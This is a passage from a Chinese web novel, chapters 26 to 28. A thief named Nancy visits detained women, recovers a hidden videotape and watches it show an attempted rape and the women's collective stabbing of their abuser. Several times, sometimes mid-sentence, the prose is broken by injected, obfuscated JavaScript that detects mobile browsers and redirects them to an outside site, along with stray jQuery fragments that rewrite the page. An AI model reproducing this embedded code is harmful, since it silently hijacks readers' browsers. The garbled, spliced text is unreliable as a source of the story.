南希:“真白玉佛究竟被你藏哪了?!” “哦,原来你想让我说这个呀。我还以为你想问我,你刚才的胡言乱语是说中了一分还是两分?”那女鬼不紧不慢,语气里充满戏谑,“你别急呀,白玉佛这种宝贝当然是藏在安全的地方喽,比如说,你再往前跑个两公里,跑出这片小树林,就能看到济阳区看守所……” 呜哩呜哩—— 不远处突然爆发起尖锐的警笛。 南希下意识回头,可周围太黑了,她只能根据距离和方向判断警笛的位置。 那是在……在全羊馆附近! 另一边,假“红发女鬼”好似想到了什么。 “哦,对了,”她幽幽地说,“刚刚从店里走的时候,我报了警。我跟警察叔叔说''红发女鬼''来我家偷东西了。好在咱俩逃得快些,要是穿成这样被警察看着,可就跳进黄河都洗不清了。” 随着话音的落地,黑漆漆的浓雾里又起了风。 南希来不及惊讶,她感觉到对方在跑,且十分迅速。 只是,她不打算再追。 既然白玉佛不在她身上,她已经没有再追下去的理由。 还有,她不想多事。 这个假“红发女鬼”她暂时看不透。 她很少做没把握的事,也很少会被情绪束缚。 她的头脑十分清醒,她明白现在最要紧的只有一点,找到白玉佛。 南希反复琢磨了下对方“逃走”之前的话,觉得哪怕她在说谎,目前,自己必须去的地方,好像也只有济阳区看守所。 根据情报,王有才别墅里的年轻女孩,应该还被拘留在里面。说不定能从她们身上得到白玉佛的线索。 另外,看守所往西两百米就是公安局。 “红发女鬼”身涉杀人及连环偷窃多重大案,抓捕这种级别的犯罪嫌疑人,公安机关定会派出大量警力,所以现在,济阳区公安局附近的警备必有缺陷,而她混进看守所的风险会大大降低,即使不慎被巡逻的狱警发现,也能轻松找出逃跑的突破口。 南希动身,加速奔跑。 这是唯一的机会! 时间紧迫,她必须在警力恢复之前,从看守所全身而退! * “瞄~~” 济阳区看守所。 一个年轻狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被关的女孩,有的闭着眼睡着了。有的睁着眼,眼神却十分空洞,像灵魂睡着了。 “小刘”深吸一口气,插.入钥匙,拧开锁,打开门。 门因为生锈,发出吱呦的声音。有女孩听到动静朝“他”瞥了眼,就一眼,然后又回到原来的状态,好像什么都没发生。 “小刘”的额头滑下冷汗。现在这种情况,“他”觉得自己这趟很可能会一无所获。 不过,万事总有转机。 “小刘”毕竟是走狗屎运的人。 “他”进门后,监室角落里,一个高个儿女孩缓缓地站了起来。 这女孩对面的人轻声喊她:“王颖,你怎么了?” 声音细微,但还是没逃过“小刘”身经百战的耳朵。 “他”看过去。 心头登时发紧。 这个王颖,“他”竟然认识! 王颖与“小刘”四目相对,也十分吃惊:“你,你不是狱警……” 没等她说完,“小刘”赶紧穿越两排上下铺,小跑过去,打断她:“嘘,小声点,这里不隔音,都是栅栏门。” 这会儿,满屋子女孩的视线都落在了“小刘”身上,包括那些看起来已经闭眼睡着的。 王颖捂住嘴,眼眶“唰”的红了。 “你,你是……Nancy?” 26. 第 26 章 “小刘”点头:“是我……领班。” 没错,王颖便是景天大酒店A座的服务生领班,她上次与“小刘”见面的时侯,“小刘”还是保洁南希,而她在扮演裸.身.派对的美少女战士“火野丽”。 王颖打量南希,握住她的手腕,五指发抖。 “Nancy……你怎么会在这儿?为什么,为什么这身打扮?” 这俩问题,其实南希也想问她,可大脑陷入了空白,她从周围一双双眼睛里感受到了一种炙热的期待。 她咽了下口水,鬼使神差地,说出了她们所期待的那句话。 “领班,我是来救你们的……” 靠!造孽! 逞什么英雄?! 她个重大刑事案件嫌疑犯,拿什么救她们?! 有女孩哭了,吸着鼻子凑上来。 “你也知道我们的苦,觉得我们做了正确的事,对吗?” 她不知道! 南希微笑:“嗯,你可以跟我再详细讲一讲。” 但没等那女孩开口,王颖就用力拽过南希,满脸不敢置信:“你真要救我们?” 说完,她恍然意识到南希背后的关系,想到她突然以服务生的身份出现在景天,又突然以保洁的身份出现在裸.身.派对,现在还突然以一个让她更意想不到的身份出现在看守所……她就像电视剧里无所不能的女主角…… 或许,她真能救她们…… 南希避开王颖的目光,没有回答。 不过王颖已经给她找好了答案,她认真地说:“Nancy,你救她们出去吧,我留下。如果不洗清嫌疑就出去,那就是越狱,以后走到哪儿都得战战兢兢的。王有才本来就是我杀的,我一人做事一人当。” 领班上铺的女孩爬下来。 “王颖,你不准再说这种话!这事儿咱们说好的一起扛,那就必须一起扛!” “是啊,而且这也不是你一个人的事!” “我被王有才骗了这么多年,活下去的唯一理由就是想看到他遭报应!” “是啊,现在他终于遭报应了!王颖,你就是我们的大恩人,我们不会丢下你不管的!” “反正都是被关着,在这儿关着总比在王有才那儿强!” “对,你不走我就不走! “要走一起走!” …… 女孩们的话一句接一句,一句叠在一句,如同大海的浪涛。 南希发懵。 按温雪生的消息,警察认定的王有才案嫌疑犯是“红发女鬼”。可听这些女孩的意思,那嫌疑犯像是成了王颖,或者说,是她们之中的更多人…… “停!”南希制止她们,她需要一个安静的环境思考,“都别说了,再这样下去,会引来人的!到时候我也帮不了你们。” 嗡嗡声顿时消失。 南希转头瞅对面的监室,不幸中的万幸,里面没关人。 她利用这短暂的时间,把女孩们的话捋顺,然后串成了一个故事。而这个故事勾起了她参加王有才培训班面试的记忆。 她听到自己心脏的跳动声。 如果所有事因果相连、厉害相关,那么,王有才的确该死。 紧贴裤缝儿的手掌攥成了拳头,她沉沉地开口:“你们放心,我既然答应救你们,就一定会做到。但正像王颖所说,越狱不是明智的选择,我说的救也不是带你们从这里逃出去。我会给你们请律师,帮你们正大光明地走出看守所……” 然而,声音越说越弱。 南希发现,刚刚还激动不已的,那一双双眼睛,一点点没了光。 那从上铺下来的女孩拍拍南希的肩膀:“谢谢,只是,我们不可能正大光明地走出去了。”她眼里有几分悲壮,“王有才其实是被我们一起弄死的,我们一人一刀,把他扎成了筛子,他的血淌了一地,淌到我们的脚尖,渗近我们的脚指甲盖里,我们每个人都是凶手,都有份儿。” 南希的心跳声盖过了对方的话声,她下意识垂下眼睛,隐约瞧见女孩们像涂着红框指甲油的脚趾头…… 是洗不掉的血渍…… 她思考了两分钟,抬起头:“我领班说,王有才是她杀的,你说王有才是你们合伙杀的。可我这还有一个说法,王有才是那个制造连环盗窃案的‘红发女鬼’杀的。诶,这个说法,不知道你们有没有听过?” 女孩们的视线在她说话期间相互交错。 南希观察到,那些视线里有紧张、有迷离,唯独没有震惊。 她们听过。 那个上铺女孩再次开口:“这是警察对外公布的消息?” 好像还没对外公布,不过,估计也就这几天的事儿。 南希点头:“‘红发女鬼’已经是王有才案的犯罪嫌疑人。” 女孩们再次当着她的面,视线交错。 南希明白这里面有秘密,试探:“看来你们也知道这件事呀。但你们最好别抱太大希望,据我了解,‘红发女鬼’只偷东西,从不杀人,这个案件很有可能是栽赃陷害。连我一个普通人都这样想,警察不会想不到。” 一旁吸鼻子的女孩突然情绪激动:“如果‘红发女鬼’因为要偷王有才的东西,误杀了他呢?” 南希按捺住惊讶:“什么意思?” “王有才死后,我们发现他最宝贝的白玉佛不见了,他本来一直挂脖子上……” 上铺女孩打断她:“好了,你说这些做什么?” “……花姐,我……”吸鼻子的女孩低下头,双手攒在一起,不再出声。 好不容易有了点儿跟任务有关的消息,南希哪肯放弃,表情严肃起来。 “如果真想让我救你们,首先,你们得信任我,要是可能的话,最好把王有才被害当晚发生的事一五一十地告诉我。” 然而,没有人回应。 南希发现,其实女孩们早已做好坐牢的准备。 而对于她的营救,只是一时产生的,不切实际的幻想。 她呼了口气,决定使出最后的招数:“不说也没关系,因为我已经看过王有才的监控录像……” 这句话还没过半,她又听到了那上铺女孩花姐的声音:“不可能!监控明明被打坏了!” 打坏了? 南希眯起眼。 虽然事情没按原计划发展,但鱼饵还是发挥了作用。 小鱼已经上钩。 “哦?监控是被谁打坏的?”南希收鱼竿。 花姐愣住。 “不会是被一个头发很长,腿也很长的高个儿女孩一拳打坏的吧?”南希把小鱼放进水桶。 “不说话,我就当你承认了?”她微笑着注视自己的小鱼。 花姐双唇抿紧,她从没想过,除了被关在这的姐妹,还会有别人知道这件事。毕竟那天晚上,她们连警察都瞒过去了。 “你,你是怎么知道的?” 南希挑眉:“我说了,我看过王有才的监控。” 气氛陷入紧张。 狭长的监室里,二氧化碳的浓度似乎已经超越了氧气,女孩们快要喘不动气。 王颖便在这时重新开口。 “Nancy,别说了……你来这的时间有些久了,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344297|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一被巡逻的狱警发现就坏了。”她握紧南希的手,一字一顿,“谢谢你今天能来,你的恩情我们记下了。至于我们,就交给命运吧。你,快走吧。” 南希蹙眉,凝视她,许久,回复:“好。” 她转身,在十二个女孩复杂的目光下走出029监室。 空旷的走廊里再次回荡起“吱呦”的声音。 南希手中动作迅速,很快把铁栅栏门锁好。 然后,她径直向前,跟路过的狱警点头打招呼,避开整个看守所唯一的CCTV。 再然后,她拐弯走过长廊,走向看守所大厅,走出四扇贴着红字的大玻璃门,走进茫茫黑暗,走入一处杂草丛生的墙角。 杂草里有一只睡得正酣的大橘猫,它躺在一个温暖的肉垫上,看起来十分舒坦。 南希把它抱下来,给那个肉垫换好狱警制服。 橘猫双爪伸直,发出一声悠长的“喵”。 它睁开了眼,金黄色瞳仁里,一抹翩飞的红跟闪电似的,一晃而过。 * 济阳区看守所三公里外的旱厕。 南希从口袋掏出一个血迹斑斑的纸团。 那是王颖在与她握手时,趁机塞进她手里的。 她小心翼翼地展开,生怕把这张皱巴巴的纸团弄碎了。 纸团里写着一句话,南希从中闻到了人血的腥味: 真相在—— * 二月十八,凌晨。 济东北郊,独栋别墅。 一道黑影越过警戒线,潜入别墅三层,出现在一副画像前。 画里是贼眉鼠眼的腊肠人王有才。一半脸迎着月光,一半脸裹着黑暗,门牙是一半的,笑容也是一半的。 那黑影站在画像前看了许久,迟迟没再有下一步动作,就像是在等人。 五分钟后,她耳廓微动,捕捉到身后气流极其细微的变动——她等的人终于到了。 没有任何预兆,身体像骤然释放的弹簧,她左臂出击,同时右腿疾扫,借势钳住对方手腕猛力下拉,膝盖撞向对方腰腹,将这人彻底砸到地面。 “咳,咳咳,张南希!他妈的,我不跟你一般见识,你还来真的啊!”对方突然握紧她的小臂。 南希一怔,衬着月光,瞧见了被她按住的人。 刀疤脸! 手松了。 “李管事……怎么是你?!” “妈的,你没看清就揍人啊?!”李管事推开南希,拍拍身上的土,起身,“我还想问怎么是你呢?!你到底是不是大学生啊?!怎么身手这么厉害?!” 南希自知闯了货,双腿并拢,连连鞠躬道歉:“不好意思不好意思,我不知道是您,我还以为是……” 李大发:“你还以为是‘红发女鬼’?” 南希:“哈?” 李大发:“下午我给少爷打电话,他让我盯紧开运全羊馆。你猜怎么着,那个馆子可邪乎了,我先后看到好几个‘红发女鬼’,后面还去了群想捉她的警……” 南希截断他的话:“等等,温大少不是让您盯全羊馆吗?您来这干什么?” 她右眼皮直跳。 李大发:“你听我讲完啊!警察走了没多久,竟然又从全羊馆里跳出来个‘红发女鬼’——” 这时,一道衣服摩擦的窸窣声隐藏在李大发的话中,正悄悄逼近。 “——我实在忍不住了,就跟着那个女鬼到了……” 隐隐约约的,南希瞧见李大发脑袋后面,多出了一张惨白的人脸。 她下意识喊出声:“别说了,注意身……” 27. 第 27 章 然而,她的话与李大发的话都没能讲完。 那白脸人以手作刀,直直砍在李大发后脑勺上。下一秒,这位看似勇猛的刀疤脸,如软泥一般,再次瘫倒在地。 事发突然,活命要紧,南希顾不得害怕,攒拳摇臂,冲着那张脸狠狠砸去。 哪料对方早有防备,双脚点地倒退,两臂缓缓圆转,以柔和之力将她拼尽全力的拳头化解在无形的空气里。 太极? 和细高跟服务生,在景天使的招式一模一样! 南希脱口:“又是你!” 对方从脸上撕下一张薄薄的纯白面具,露出红润妩媚的面容:“又是我?哦,是我是我,诶,你等等、等等!别踢我啊!我不是来跟你打架的!” 知道她不是鬼,南希有了胆子:“管你来干什么,你装神弄鬼,反正不怀好意!”说着,她又是一个扫腿。 对方闪躲,眼神左瞥:“你要不要看看那边有什么东西?” 南希转头,看向左手方向。 与此同时,那细高跟服务生从她右手边飞速绕到身后,等她反应过来时,对方的身体已经挡在王有才画像之前,嘴角高高扬着:“这幅画,你刚刚看了老半天,我猜,这后面藏着你从看守所拿到的秘密。” 好一个声东击西。 南希冷冷瞪她,几乎咬牙切齿:“你猜错了。” “是吗?”她举手向后,指尖勾到镶金画框,“那就让我取下来看一看。” 已经没有任何人、任何事能阻止她。 画像被顺利取下。 只不过,跟她料想的不同,画像背面,以及画像所覆盖的墙上,都是一片空白。 对方脸色变了:“不可能,一定有秘密……” 南希嗤笑:“我说过,你猜错了。”她扫视周围,“真奇怪,这个房间没装监控,好像是整栋别墅唯一一间呢。” “王有才怎么会给自己的卧室装监控?”对方的双眼对上南希的视线,心里倏的一沉——这视线里不知什么时候多了几分戏谑。 她语气严肃,“看来,你比我想象中的要谨慎不少。” “唉,这还不是因为你,”南希摊手,“今晚在小树林跟你分开后,这一路实在太顺利了,顺利到我的右眼皮一直在跳。我就琢磨,到底是左眼跳财右眼跳灾,还是右眼跳财左眼跳灾?诶,你说是左眼跳财还是右眼跳财?” 细高跟服务生被饶了进去:“嗯……左眼跳财右眼跳灾……”声音顿了下,“你究竟想说什么?” 南希笑笑:“看来你也不记得了。不过没关系,反正我觉得,哪个眼皮跳都不是什么好事,这表明我的神经过于紧绷,也表明第六感在提醒我,今晚的事不正常。 “你用白玉佛把我引到全羊馆,又在全羊馆制造危机让我追你去小树林,然后给我指出看守所的线索,这算计的,一环套一环,也太缜密了些。你这是想利用我,拿到王颖藏在别墅里的秘密啊呀。” 对方表情难看:“你比我想象中的也要聪明。” 南希啧啧两声:“瞧你这话说的,干我们这一行,靠体能更靠脑子,哪有不聪明的?不过这两样,你好像也不差,要不我介绍你加入我们,咱一起赚大钱?” 对方:“多谢好意,只是如果我加入你们的话,某个人会哭。” 南希:“谁?张笑远吗?” 对方没再回答,而是说:“我不是你的敌人,也无意为难你,就像你所说的,我只是想通过你拿到王颖的秘密。我知道现在说这些你不会相信,为了证明我的诚意,我愿意用白玉佛与你交换这个秘密。” 她拉开胸前拉链,从脖子上摘下一块光泽油润的开心佛像。 南希眼睛放亮:“真能换吗?” 同一时间,一根银针穿破黑暗,精准地扎在对方的脖颈处。 那细高跟服务生瞳孔一紧,身体朝前扑去。 南希及时接住她,扶她靠上墙根。 她的眉心皱着,却依然好看,确实是个大美人。 南希收好袖口的麻醉枪,帮美人抚平眉心,然后取走她攥手里的佛像。 “对不起了,你有那么多块白玉佛,我实在不知道你是不是又在骗我。”她起身,目光随着墙上的画框印痕慢慢往下,直到落在一张红木圆桌上,“我看的呀,一直都不是那幅画。这世上,不是只有你学过《孙子兵法》,会用声东击西。” 她打开圆桌的玻璃门,里面有个堆着杂物的竹编筐。她又拨开杂物,从筐子里取出一个小型录像机。 “我领班用指尖血写下,托付给我的秘密,又怎么能是一块小小的白玉佛可以交换的?” * 一个小时后,奔驰E320停在温沙城堡门口。 王姐、孙老太,还有俩南希已经忘了名字的中年男人迎了出来。 南希熄火下车,指指后座:“李管事睡着了,麻烦你们把他搬进去。” 王姐神情复杂。 孙老太连连点头。 南希讪讪:“那个,少爷在吗?” 话音没落,她就听到城堡里面传来女人的吆喝:“少爷,您慢点!这大半夜的,您穿这么少出去会感冒的!” 然后,一个纯白的、瘦高的身影急匆匆地出现在城堡大门。 南希嘟囔:“的确穿得少了点。” 她跑过去。 跟在少爷后面的妈子也在跑。 两人几乎一起跑到少爷跟上,只不过一个在前,一个在后。 南希眼神往后瞟,伸手夺过妈子怀抱的棉外套,一抖,踮起脚尖,给温雪生披到肩上。 “她说得对,你这样真会感冒。” 温雪生攥住外套的毛领子,语气生硬:“谁让你来我这的?” “额……我吵你休息了?” 温雪生不作声,只瞪她。 南希想起小张拉面门口,那个被录像带小贩拦下的凌乱背影,小声回:“那个,我也不想来你这……只是,我实在不知道除了这儿,还能把李管事送哪儿……他被人打晕了,我总不能丢下他不管吧……”她见温雪生眉心打起结,赶紧摆手,“但是你放心,我给他报仇了,打他的人也让我打晕了!” 可温雪生还是生气了:“我是想问这个吗?!” 南希眨巴眼。 “……那是什么?” 温雪生收回视线,转身:“进去说。” 南希喊他:“等等,去哪儿?你房间吗?”她左右乱扫,扫到一双双八卦的眼睛。 边上什么时候多了这么多人…… 她果然还是更喜欢爬窗户去他的床,“那个,都看着呢,咱们这样不太好吧……既然李管事送到了,我就先走了,还有正事儿……” 温雪生:“什么事?” “……看个东西。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371134|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“在我这不能看?” 温雪生侧脸。 城堡的水晶灯勾勒着他高挺的鼻梁和流畅的下颌线。 南希本就不坚固的防线瞬间被攻破。 “也不是不能……” 两人便一前一后上了楼,只留下满堂的窃窃私语。 王姐走进来:“你们吵什么吵,少爷的事也敢议论?都给我管好自己的嘴!”她站在挑空的中厅,抬头望向三楼,觉得今天真是开了眼了,她还从没见那个性格乖戾阴森的少年,像刚才那样柔软过。 孙老太也进来了,在她耳边说:“王姐,这事儿我可不知道啊……” 王姐没理她。 她肯定不知道,勾引少爷这种事怎么会有人乱说。 孙老太自顾自:“自打少爷的脸好了,谁见了不夸一句比明星都好看,小张也是有福气啊……” 王姐想起与南希的第一次见面。那时她就觉得这小姑娘不单纯,还以为是哪个势力派来的奸细,没想到不是奸细,而是个狐狸精。 她瞅了孙老太一眼:“还乱讲?刚才没说着你是吧?!我平时就是太惯着你了,你看看你这带进来的是什么人?!少爷要是出了啥事你得负责!”,骂完,她扭着步子迈上大理石楼梯,一阶又一阶,不知不觉穿过一排排盆栽梅花,停在一扇雕刻浮夸的弓形木门前。 她吁了口气,敲门:“少爷?您要不要来点夜宵?” “少爷?我让王妈做点?” “少爷?” 门开了条缝儿。 一只水灵灵的眼睛探出。 “王姐,温大少说,让您回去歇着……” 王姐正要回话,听到房间里传来一道很沉的声音: “你还忘了一句。” 然后,眼前的大眼睛扭扭捏捏地又开了口,“那个……那个,他还说……今晚他不想再看到您……” 对方的声音忽然压低,“王姐,这可都是他说的,我只负责转达啊!我看,您还是走吧,他那个臭脾气您又不是不知道……” 南希阖上了门,有些怨愤地看向温雪生。 那个冷傲的少年正斜靠着书桌,显得更冷傲了。 “以后这种事你自己说,太得罪人……” 温雪生与她对视:“你怕得罪人?” “古人云,朋友千个少,敌人一个多,不想死得快,就少得罪人。” “哪个古人说的?” “前半段来自不知名古人,后半段出自20世纪末的南希。” 温雪生冷声:“……可你不怕得罪我。” 南希眯起眼睛:“额……” 温雪生:“你要知道,得罪我,比得罪他们,要严重得多。” 南希发现他那张过分帅气的面孔过分严肃,赶紧眨眼点头,“对,对!你是大少爷嘛……” 她不想再继续这个幼稚的话题,扑过去搂住了他。 温雪生比她高一头,她的脸堪堪埋在他的锁骨处,刘海蹭着他的脖颈,就像在给他挠痒痒。 温雪生忍受着,哪怕身体已经隐隐颤抖。 而南希继续挠:“小生生,你还难受吗?” 好多了。 他想这样说,却在说出口前,想起一盒落在地上的录像带。 话又咽回肚子。 他昂起头,推开南希:“你是想知道,我还有没有体力被你玩弄,对吗?” 28. 第 28 章 …… 他又在别扭什么? 南希快要对他失去耐心,虽然他真的好看,比她见过的所有男人都好看,时间也久,比她交过的所有男朋友都要久…… 耐心好像又回来一些。 她冲温雪生微笑:“小生生,我不明白你的意思。” 温雪生转身,背对她。 他不相信她不懂,他难受生病,身体虚弱,便没法陪她玩那些她喜欢的事了……可看她眼神,又好像真的没听懂…… 几秒钟后,温雪生妥协,空气里出现了一句沉沉的“你要看什么?” 话题过于跳跃,南希顿了好一会儿才反应过来,自己之前跟他说有正事,要看个东西。 她从背包里掏出一台Hi8摄像机,绕到温雪生面前,递给他:“看这个。” “Hi8?” “嗯。” 南希走到床边,一头扎了进去,然后翻了个身,四仰八叉地躺在温雪生蓬松的大床上。 “小生生,你不知道我今天经历了多少事儿……我碰到了一个很厉害的人,还差点撞上警察……然后,我跑了趟看守所,见到了好多被关在里面的女孩,其中一个女孩我竟然认识,是我的领班王颖……她给了我一张用血写的纸条,让我去找这个摄像机……” 温雪生沉默。眼前,南希闭着眼睛,头发散了一床。 他不喜欢别人坐自己的床,尤其对方还穿着被灰尘沾染过的外套。 但他的注意力竟然只在她的脸上。她似乎,很疲惫。 “小生生,我来这之前,就想着赶紧把李管事送过来,然后看看摄像机都录了什么……” 温雪生继续沉默。 他听出她的声音比之前弱,心想她这样疲惫,这样着急想看摄像机,为什么在见到他时,说的第一句话却是: “你的确穿得少了点。” “小生生,你怎么不理我?”南希抬起脑袋瞧他,没瞧出什么异常,又瘫下去,“……你说,我要不要看看摄像机里录了什么呀?” “你不是……”温雪生发现自己的嗓子哑了,清了清喉咙,“你不是很着急看吗?” “唉,是呀……”南希望着天花板,“我的确很着急,可当我真的能看的时候,又不敢看了……” 昨天,她在公共旱厕,握着那张血迹斑斑的字条,愣了很久。上面写着:真相在别墅三楼,王有才被杀前叫我去他房间等他,我害怕,提前把摄像机藏在了画像下的圆桌里。摄像机记录了当晚发生的所有事。帮我交给一个合适的警察。 王颖明明有很多次机会把摄像机交给警察,但是她没有,甚至到最后,都是托别人帮她完成这件事。 为什么? 难道对她来讲,这个真相比那满是血迹的纸团,更加鲜血淋淋? “……唉,算了,我不看了,不看了……” 反正白玉佛已经到手…… 南希呼了口气,从口袋里摸出白玉佛,举在眼前,映着天花板上的水晶吊灯,瞧见白玉里面均匀柔和的云絮,“好漂亮,这个应该是真的了。” 说着,她盘腿坐了起来。 温雪生背对她,站在电视机前。 南希看到他在忙碌着什么,那动作…… 是从台摄像机里取磁带的动作! 他正在把磁带塞进播放器! “喂!”南希心里一紧,喊他,“谁让你动我东西了?我都说了不看了!” 温雪生没回头,按下了播放键。 电视机屏幕闪烁起雪花点。 “温雪生!”南希第一次真的对他生气,“你耳朵坏了?”她光着脚跳下床,想去关掉机器。 这时,电视屏幕上的雪花消失了,画面稳定下来。 色彩有些褪色,但很清晰。画面里是王有才别墅的主卧,镜头对着墙边的沙发和王有才的两米双人床。 王颖穿着条亮浅黄针织连衣裙,裙摆随着她的动作轻轻晃动。 她小心翼翼地把摄像机放进圆桌里的竹编篮,用里面的杂货遮挡镜头,调整了好几次角度。弄完这些后,她走到沙发边坐下,双手紧张地绞在一起,不时抬头看向门口。 南希倒抽一口冷气,猛地扑到温雪生身边,抓住他的胳膊,把脸埋在他绵软的睡衣袖子上。 “关掉!我不看!快关掉!”她声音发闷,带着颤抖,“这太私密了……” 但温雪生没动。 李大发去王有才别墅前给他来过电话。南希救下李大发,应该就是在这栋别墅。以此推理,这台摄像机是南希从别墅带出来的。看她这样紧张,摄像机磁带里很有可能记录了王有才临死之前的事。而这些事,或许会是洗清‘红发女鬼’杀人嫌疑的唯一线索。 他必须要看。 温雪生的目光死死锁在屏幕上。 南希的余光也无法控制地扫向电视。 画面里,门开了。 一个细细长长、穿不合身西装的中年男人侧身进了屋——是王有才。 王有才反手锁上门,油亮的头发在灯光下反光。 他笑着对王颖说了句什么,露出被烟熏黄的牙齿。 王颖局促地站起来,往后退了半步。王有才招手,示意她坐去床边。王颖摇头,脚下没动。王有才脸上的笑收了些,走过去拉她的手腕,把她往床边带。两人似乎在争辩,但录像没录到声音,只能看到王有才嘴皮翻动,王颖则一直试图挣脱他的手,手腕都被捏红了。 接着,王有才搂住了王颖的腰,另一只手开始在她身上摸索,从肩膀滑到后背,又从后背揉到前胸。 王颖用力推他,头拼命向后仰,费劲避开他凑过来的脸。 画面外,南希下颌绷紧,呼吸加重,那抓着温雪生胳膊的手指渐渐泛白。 温雪生拍拍她,以示抚慰,然后他犹豫了会儿,按了暂停键。 “这些画面确实有些私密,不是我该看的。”他转身走到窗边,望向窗外沉重的夜色,“剩下的录像,我听,你看。” “嗯。”南希点了点头,“我也觉得你不要看了……”她从边上拖过一个沙发椅,跳上去,身子蜷起,把头靠在双膝中间,继续播放录像。 画面中,两人的缠斗变得更激烈了。 王有才占据上风,把王颖压倒在床,那腊肠一样的身体迅速覆了上去。 王颖的脑袋在画面边缘晃动,而王有才怼在她脸上,弓起的背部挡住了大部分动作。 突然,王有才猛地弹了起来,捂了住嘴,看起来像是被咬了舌头。 他的表情瞬间狰狞,抬手就给了王颖一个耳光。 王颖的嘴角渗出一缕血红,下一秒,她整个人被彻底压倒在床,上衣被扯破,下衣被褪到膝盖,白花花的皮肤.裸.露而现。 到了这一步,王有才已经急不可耐,开始单手撕扯自己的腰带。 同一时间,王颖胡乱地在床头柜上摸索,恰好抓过一个玻璃台灯,用尽全力砸向了王有才的侧脑。 王有才的动作凝固了,眼睛瞪得很大,然后像袋沙子似的栽倒下去,瘫在王颖身上。 深色的液体从他额角渗出,顺着太阳穴淌下来,污染了王颖胸口那片浅黄色的.内.衣。 王颖顿了下,随即哭着推开王有才瘫软的身体,连滚带爬地冲出镜头范围。 这时,电视里突然有了声音,南希听到了王颖嘶哑的尖叫。 屏幕空了几秒,只有王有才一动不动趴在床边,血液还在慢慢流,流到床上,流到木地板上。 很快,门又被推开。 两三个穿着舞台亮片服装、妆化得很浓的女孩探头进来。她们看到地上的男人,愣了一下。其中一个迅速跑出镜头,没一会儿搀着还在崩溃的王颖又出现了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401410|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一个女孩抽出几张纸巾,帮王颖擦拭胸口的血迹,还从旁边椅子上抓过一件外套给她披上。 南希皱起眉,这女孩她见过,就是看守所住王颖上铺的那个。 画面还在继续。 这上铺女孩伸手探了探王有才的颈侧,又凑近听了听他的呼吸和心跳,这样反复确认了几次后,她抬起头,对着镜头外的女孩们,脸上缓缓展开了一个清晰无比的笑容——如释重负,甚至带着一丝快意。 然后,更多的女孩涌进了这间满地鲜血的房间,挤得画面都有些满了。 王颖被女孩扶着胳膊带了出去,她整个人都在发抖,路也走不稳。 一个瘦瘦小小的女孩与她擦肩而过、进了屋。那女孩手里拿着一把细长的尖头刀,就是后厨常见的那种切肉刀。 她看着周围的姐妹们。 她们彼此交换着眼神,没有人说话。 与此同时,上铺女孩把王有才拖下地,用脚翻正。 那拿刀女孩见了,深吸了口气,胸口剧烈地起伏,像是下定了某种决定。 然后,她蹲下身,举起刀,狠狠地朝王有才的左胸扎了下去。 王有才一动不动,应该是彻底死透了。 女孩拔出刀,鲜血立刻顺着刀口涌出,浸湿了王有才的浅色衬衫。 很快,第二个女孩接刀,她的手在抖,但同样蹲下,同样用力地刺下去。接着是第三个,第四个……她们一个接一个,沉默地、有序地,每人都给了那个早已成为死尸的身体一刀。 鲜血彻底蔓延开,在地板上积成一滩粘稠的、反光的深色镜面,慢慢扩散到一双双赤裸的脚上…… 半个小时后,南希看完了全部有用画面。 她呆坐了一会儿才伸手按下停止键,脸色不知什么时候变得跟墙一样白。 “小生生……”她轻声唤温雪生,“你可以过来了。” 温雪生没说话,但走到了她身边。 南希仰头,看看温雪生冷峻的侧脸,又看看蓝色的电视屏幕,一把抓住他的胳膊。 “磁带里的声音你应该都听到了……她们每个人,都动手了……这样一盘磁带,你说,我该交给警察吗?” 录象播放完的嗡鸣声,在寂静的房间里格外清晰。 温雪生任南希抓着自己,面无表情,只有微微起伏的胸口,显示着他并非无动于衷。 “冷静下来。”他说,“现在,你需要用脑子而不是情绪。你最好从头到尾想一遍磁带里的每一个画面,然后再决定是否交给警察。” 南希深呼吸,像是刚从水下挣扎出来。她松开温雪生,手指按住自己突突跳的太阳穴,闭上了眼睛。 大概过了一分钟,她重新睁开眼,眸子里的混乱褪去,锐光渐聚。 “台灯。”她开口,声音虽然有点沙,却十分清楚,“王有才的致命伤是王颖的那一下。玻璃台灯砸到了他的额头,血当时就涌出来了,量大,流速快,他倒下去的僵硬,是瞬间失去意识的表现。 